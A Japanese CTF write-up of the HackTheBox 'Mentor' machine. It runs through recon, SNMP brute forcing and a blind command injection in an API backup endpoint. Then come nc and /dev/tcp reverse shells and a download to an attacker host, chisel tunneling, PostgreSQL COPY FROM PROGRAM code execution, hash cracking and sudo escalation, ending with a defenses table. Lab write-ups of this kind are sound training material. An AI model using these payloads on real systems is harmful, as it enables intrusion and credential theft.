HackTheBox: Mentor — 全実行コマンド・実行結果レポート
Nmap スキャン
22/80/TCP + 161/UDP(SNMP)
→
22/80/TCP + 161/UDP(SNMP)
SNMPコミュニティ文字列
ブルートフォース “internal”
→
ブルートフォース “internal”
プロセス起動引数漏洩
login.py の平文パスワード
→
login.py の平文パスワード
/admin/backup
blind command injection
→
blind command injection
APIコンテナ root シェル
→
chisel リバーストンネル
+ PostgreSQL COPY FROM PROGRAM
→
+ PostgreSQL COPY FROM PROGRAM
DBバックアップ
hashcat -m0
→
hashcat -m0
user.txt ✓
→
snmpd.conf平文パスワード
su james → sudo /bin/sh
→
su james → sudo /bin/sh
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン (TCP + UDP)
BASH
nmap -p- --min-rate 5000 -oN nmap/allports.txt 10.129.228.102 nmap -sV -sC -p 22,80 -oN nmap/initial.txt 10.129.228.102 sudo nmap -sU -F 10.129.228.102
RESULT
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3
80/tcp open http Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://mentorquotes.htb/
PORT STATE SERVICE
68/udp open|filtered dhcpc
161/udp open snmp
BASH
echo "10.129.228.102 mentorquotes.htb" | sudo tee -a /etc/hosts
vHost 探索 & ディレクトリ列挙
BASH
ffuf -u http://mentorquotes.htb -H 'Host: FUZZ.mentorquotes.htb' -mc 200,404 \ -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
RESULT
api [Status: 404, Size: 22, ...]
BASH
echo "10.129.228.102 api.mentorquotes.htb" | sudo tee -a /etc/hosts gobuster dir -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt \ -u http://api.mentorquotes.htb
RESULT
/admin (Status: 307) [--> http://api.mentorquotes.htb/admin/]
/docs (Status: 200)
/users (Status: 307) [--> http://api.mentorquotes.htb/users/]
/quotes (Status: 307) [--> http://api.mentorquotes.htb/quotes/]
ℹ️
/docs で Swagger UI にアクセスでき、REST API の全エンドポイント
(/auth/login、/users/、/quotes/、
/admin/backup 等)が判明する。ユーザー james
(james@mentorquotes.htb)への言及もある。
アカウント登録 & /admin エンドポイントの権限確認
BASH
curl api.mentorquotes.htb/auth/signup -X POST -H 'Content-Type: application/json' \
-d '{"email":"pwnmeow@mentor.htb","username":"pwnmeow","password":"password"}'
curl api.mentorquotes.htb/auth/login -X POST -H 'Content-Type: application/json' \
-d '{"email":"pwnmeow@mentor.htb","username":"pwnmeow","password":"password"}'
BASH
curl http://api.mentorquotes.htb/admin/ -H 'Authorization:'
RESULT
{"detail":"Only admin users can access this resource"}
ℹ️
一般ユーザーでは
/admin/ にアクセスできない。管理者権限を
得る手掛かりを探すため SNMP を調査する。
PHASE 2
SNMP コミュニティ文字列ブルートフォース & 平文パスワード漏洩
デフォルト “public” は有用な情報なし
BASH
snmpwalk -v2c -c public 10.129.228.102
RESULT
iso.3.6.1.2.1.1.1.0 = STRING: "Linux mentor 5.15.0-56-generic ..." iso.3.6.1.2.1.1.4.0 = STRING: "Me <admin@mentorquotes.htb>" (システム基本情報のみで機密情報なし)
コミュニティ文字列のブルートフォース
BASH
python3 snmpbrute.py -t 10.129.228.102 -f /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt
RESULT
Identified Community strings
0) 10.10.11.193 public (v1)(RO)
1) 10.10.11.193 public (v2c)(RO)
2) 10.10.11.193 internal (v2c)(RO)
⚠️
ハマりどころ:
internal コミュニティでの MIB
フルウォークは、ホスト上の稼働プロセス数が多いため 数十秒〜数分
かかることがある。デフォルトの短いタイムアウトで snmpwalk を打ち切ると、
目的の login.py の行に到達する前に応答が途切れてしまう。
まずは軽量な単発クエリ(snmpget)でコミュニティ文字列の有効性を
確認し、有効と分かった文字列に対してのみ、プロセス起動引数の部分木
(HOST-RESOURCES-MIB::hrSWRunParameters, OID
1.3.6.1.2.1.25.4.2.1.5)だけを長めのタイムアウトで
ウォークすると効率的。
プロセス起動引数から平文パスワードを発見
BASH
snmpwalk -v2c -c internal 10.129.228.102 1.3.6.1.2.1.25.4.2.1.5
RESULT
iso.3.6.1.2.1.25.4.2.1.5.2078 = STRING: "/usr/local/bin/login.py kj23sadkj123as0-d213"
🚨
重要発見: Docker コンテナ内で実行中のプロセスの
起動引数がSNMP経由で丸見えになっている。
login.py というスクリプト名から、これが james の
API ログインパスワードだと推測できる。
james として API にログイン
BASH
curl http://api.mentorquotes.htb/auth/login -X POST -H 'Content-Type: application/json' \
-d '{"email":"james@mentorquotes.htb", "username":"james","password":"kj23sadkj123as0-d213"}'
RESULT
"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImphbWVzIiwiZW1haWwiOiJqYW1lc0BtZW50b3JxdW90ZXMuaHRiIn0.peGpmshcF666bimHkYIBKQN7hj5m785uKcjwbD--Na0"
PHASE 3
/admin/backup の Blind Command Injection
path パラメータの発見
BASH
curl http://api.mentorquotes.htb/admin/backup -H 'Authorization:' \ -H 'Content-Type: application/json' -X POST -d '{}'
RESULT
{"detail":[{"loc":["body","path"],"msg":"field required","type":"value_error.missing"}]}
BASH
curl http://api.mentorquotes.htb/admin/backup -H 'Authorization:' \ -H 'Content-Type: application/json' -X POST -d '{"path":"test"}'
RESULT
{"INFO":"Done!"}
wget コールバックで OS コマンド実行を確認
BASH
python3 -m http.server 8000 curl http://api.mentorquotes.htb/admin/backup -H 'Authorization:' \ -H 'Content-Type: application/json' -X POST -d '{"path":"$(wget http://10.10.15.201:8000)"}'
RESULT
10.129.228.102 - - [.../] "GET / HTTP/1.1" 200 -
✅
コールバックを受信 —
path パラメータが応答には出力されない
blind command injectionと判明。
リバースシェル獲得 — /bin/bash が使えない環境
BASH
nc -lnvp 4444 curl http://api.mentorquotes.htb/admin/backup -H 'Authorization:' \ -H 'Content-Type: application/json' -X POST -d '{"path":"$(nc 10.10.15.201 4444 -e /bin/sh)"}'
RESULT
connect to [10.10.15.201] from (UNKNOWN) [10.129.228.102] 36509
id
uid=0(root) gid=0(root) groups=0(root)
⚠️
ハマりどころ: 定番の
bash -c 'bash -i >&
/dev/tcp/<IP>/<PORT> 0>&1' はこのコンテナでは無反応
になる。cat /etc/os-release で確認すると Alpine Linux
で /bin/sh は BusyBox、/bin/bash
自体が存在しない。BusyBox の nc は -e
オプション(接続後にプログラムを実行)を持つため、
nc <IP> <PORT> -e /bin/sh を使う必要がある。
🚨
取得したシェルはいきなり
root! ただし /.dockerenv
の存在から、これはホストの root ではなく Docker コンテナ内
だと分かる(コンテナ脱出/横移動が必要)。
PHASE 4
Docker ブリッジネットワーク経由の PostgreSQL コンテナへのピボット
ネットワーク環境の確認とホストスキャン
BASH
# /bin/bash が無いため BusyBox 同梱の nc -z (ゼロI/Oスキャンモード) でポート確認 nc -z -w1 172.22.0.4 5432 && echo OPEN # サブネット全体をスキャンする場合 ip -4 -o addr show scope global # → eth0: 172.22.0.3/16 for i in $(seq 1 254); do nc -z -w1 172.22.0.$i 5432 2>/dev/null && echo 172.22.0.$i; done
RESULT
OPEN (172.22.0.4:5432 は PostgreSQL)
chisel でリバーストンネル確立 — 静的リンク版が必須
BASH (攻撃側)
./chisel server -p 8001 -reverse -v
BASH (コンテナ側)
wget 10.10.15.201:8000/chisel -O /tmp/chisel; chmod +x /tmp/chisel /tmp/chisel client 10.10.15.201:8001 R:127.0.0.1:8002:172.22.0.4:5432
⚠️
ハマりどころ: Kali の apt パッケージ版
chisel
は glibc に動的リンクされている。musl libc の Alpine
コンテナへそのまま転送して実行すると、バイナリは存在するのに
not found というエラーになる(動的リンカ
/lib64/ld-linux-x86-64.so.2 が無いため execve が
ENOENT を返す、Alpine特有の典型的なハマりポイント)。GitHub の
公式リリース(chisel_<ver>_linux_amd64.gz)は
CGO_ENABLED=0 の静的リンク版Goバイナリで、
libc に依存しないためどちらの環境でも動作する。ローカルの
chisel server はサーバー側(Kali)で動くので気にしなくてよく、
ターゲットに転送するクライアント側バイナリだけを
静的版に差し替えれば解決する。
RESULT
server: session#1: tun: proxy#R:127.0.0.1:8002=>172.22.0.4:5432: Listening server: session#1: tun: Bound proxies
PostgreSQL への接続 & COPY FROM PROGRAM RCE
BASH
psql -U postgres -h 127.0.0.1 -p 8002 # Password: postgres postgres=# \du
RESULT
Role name | Attributes
-----------+------------------------------------------------------------
postgres | Superuser, Create role, Create DB, Replication, Bypass RLS
BASH
DROP TABLE IF EXISTS cmd_exec; CREATE TABLE cmd_exec(cmd_output text); COPY cmd_exec FROM PROGRAM 'echo| base64 -d | bash';
ℹ️
Superuser 権限では
COPY ... FROM PROGRAM '<シェルコマンド>'
で任意 OS コマンドを実行できる。この PostgreSQL コンテナは通常の
Debian ベースイメージのため、こちらは bash -i >& /dev/tcp/...
がそのまま使える。
RESULT (nc リスナー側)
connect to [10.10.15.201] from (UNKNOWN) [10.129.228.102] id uid=999(postgres) gid=999(postgres) groups=999(postgres),101(ssl-cert)
PHASE 5
DB バックアップからのハッシュクラック → user.txt
db_export.sql の発見
BASH
postgres@:/var/lib/postgresql/data$ cat pg_backup/db_export.sql
RESULT
COPY public.users (id, email, username, password) FROM stdin;
1 james@mentorquotes.htb james 7ccdcd8c05b59add9c198d492b36a503
35 svc@mentorquotes.htb service_acc 53f22d0dfa10dce7e29cd31f4f953fd8
\.
hashcat (mode 0: 素のMD5) でクラック
BASH
hashcat hash /usr/share/wordlists/rockyou.txt -m 0
RESULT
53f22d0dfa10dce7e29cd31f4f953fd8:123meunomeeivani
ℹ️
DB のユーザー名は
service_acc だが、メールアドレスが
svc@mentorquotes.htb であることから、実際の
Linux アカウント名は “svc”と推測できる(DB上の表示名と
OSアカウント名が異なる、というひねり)。
SSH ログイン & user.txt 取得
BASH
ssh svc@10.129.228.102 # Password: 123meunomeeivani svc@mentor:~$ cat user.txt
RESULT
uid=1001(svc) gid=1001(svc) groups=1001(svc)
b68cc0a2b2f80bfb6ffc3e4305e034e1
user.txt — svc@mentor
b68cc0a2b2f80bfb6ffc3e4305e034e1
PHASE 6
snmpd.conf 平文パスワード → su james → sudo /bin/sh → root.txt
/etc/snmp/snmpd.conf の確認
BASH
svc@mentor:~$ cat /etc/snmp/snmpd.conf
RESULT
createUser bootstrap MD5 SuperSecurePassword123__ DES
🚨
重要発見: SNMPv3 ユーザー作成用の設定行に平文パスワードが
直接ハードコードされている。API のログインパスワードとは別の値
だが、james の Linux ログインパスワードとして使い回されている。
su james
BASH
svc@mentor:~$ su james Password: SuperSecurePassword123__
RESULT
uid=1000(james) gid=1000(james) groups=1000(james)
sudo -l → /bin/sh で即座に root
BASH
james@mentor:~$ sudo -l
RESULT
User james may run the following commands on mentor:
(ALL) /bin/sh
BASH
james@mentor:~$ sudo /bin/sh
RESULT
# id uid=0(root) gid=0(root) groups=0(root) # cat /root/root.txt 4466a95f5219400c60ab9be2804b9e54
root.txt — root@mentor
4466a95f5219400c60ab9be2804b9e54
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — svc@mentor
b68cc0a2b2f80bfb6ffc3e4305e034e1
root.txt — root@mentor
4466a95f5219400c60ab9be2804b9e54
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| SNMP弱いコミュニティ文字列 + プロセス引数漏洩 | SNMP (UDP 161) | 認証情報漏洩 | High | ブルートフォースで”internal”文字列を発見、hrSWRunParametersからlogin.pyの平文パスワードを取得 |
| API blind command injection | /admin/backup (pathパラメータ) | リモートコード実行 (コンテナ内root) | Critical | $(…)コマンド置換で任意コマンド実行、応答なしのblind型 |
| PostgreSQL デフォルト資格情報 + COPY FROM PROGRAM | PostgreSQL コンテナ (172.22.0.4:5432) | リモートコード実行 | High | postgres:postgresで接続、Superuser権限のCOPY FROM PROGRAMでOSコマンド実行 |
| 平文パスワードのハードコード | /etc/snmp/snmpd.conf | 権限昇格 | Medium | SNMPv3設定に残る平文パスワードがjamesのログインパスワードと共通 |
| 過剰なsudo権限 | james の sudoers エントリ ((ALL) /bin/sh) | 権限昇格 (root) | Critical | sudo /bin/sh で即座にrootシェル |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap TCP/UDP + vhost探索 + Swagger発見 | api.mentorquotes.htb、james の存在 |
| 2 | 認証情報漏洩 | SNMPコミュニティ文字列ブルートフォース | james:kj23sadkj123as0-d213 (API) |
| 3 | 初期侵入 | /admin/backup blind command injection | APIコンテナ(Alpine/BusyBox) root シェル |
| 4 | 横移動 | chisel(静的リンク版)リバーストンネル + PostgreSQL RCE | PostgreSQLコンテナ postgres シェル |
| 5 | 権限昇格1 | DBバックアップ + hashcat -m0 | user.txt (svc:123meunomeeivani) |
| 6 | 権限昇格2 | snmpd.conf平文パスワード + su + sudo /bin/sh | root.txt 取得 |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| SNMPのコミュニティ文字列が推測可能な単語(“internal”)で、かつプロセスの起動引数にパスワードを平文で渡している | 強力でランダムなコミュニティ文字列を使用し、SNMPv3への移行を検討する。機密情報をコマンドライン引数ではなく環境変数や設定ファイル(適切な権限で保護)経由で渡す。 |
| 管理者APIエンドポイントのpathパラメータを検証せずOSコマンドに渡している | ユーザー入力を直接シェルコマンドに渡さない。ホワイトリスト検証や、シェルを経由しないAPI(execve系)を使用する。 |
| 内部PostgreSQLコンテナがデフォルト資格情報(postgres:postgres)のまま稼働 | すべてのサービスでデフォルト資格情報を変更する。内部ネットワークだからといって弱い認証で済ませない。 |
| 設定ファイルに平文パスワードが残存し、複数アカウント間でパスワードを使い回している | 設定ファイルに認証情報を平文で残さない(シークレット管理ツールを使用)。パスワードの使い回しを避ける。 |
| 一般ユーザーに(ALL) /bin/shという事実上無制限のsudo権限を付与 | sudoの権限は必要最小限の特定コマンドに限定し、シェルを直接実行できる権限は付与しない。 |

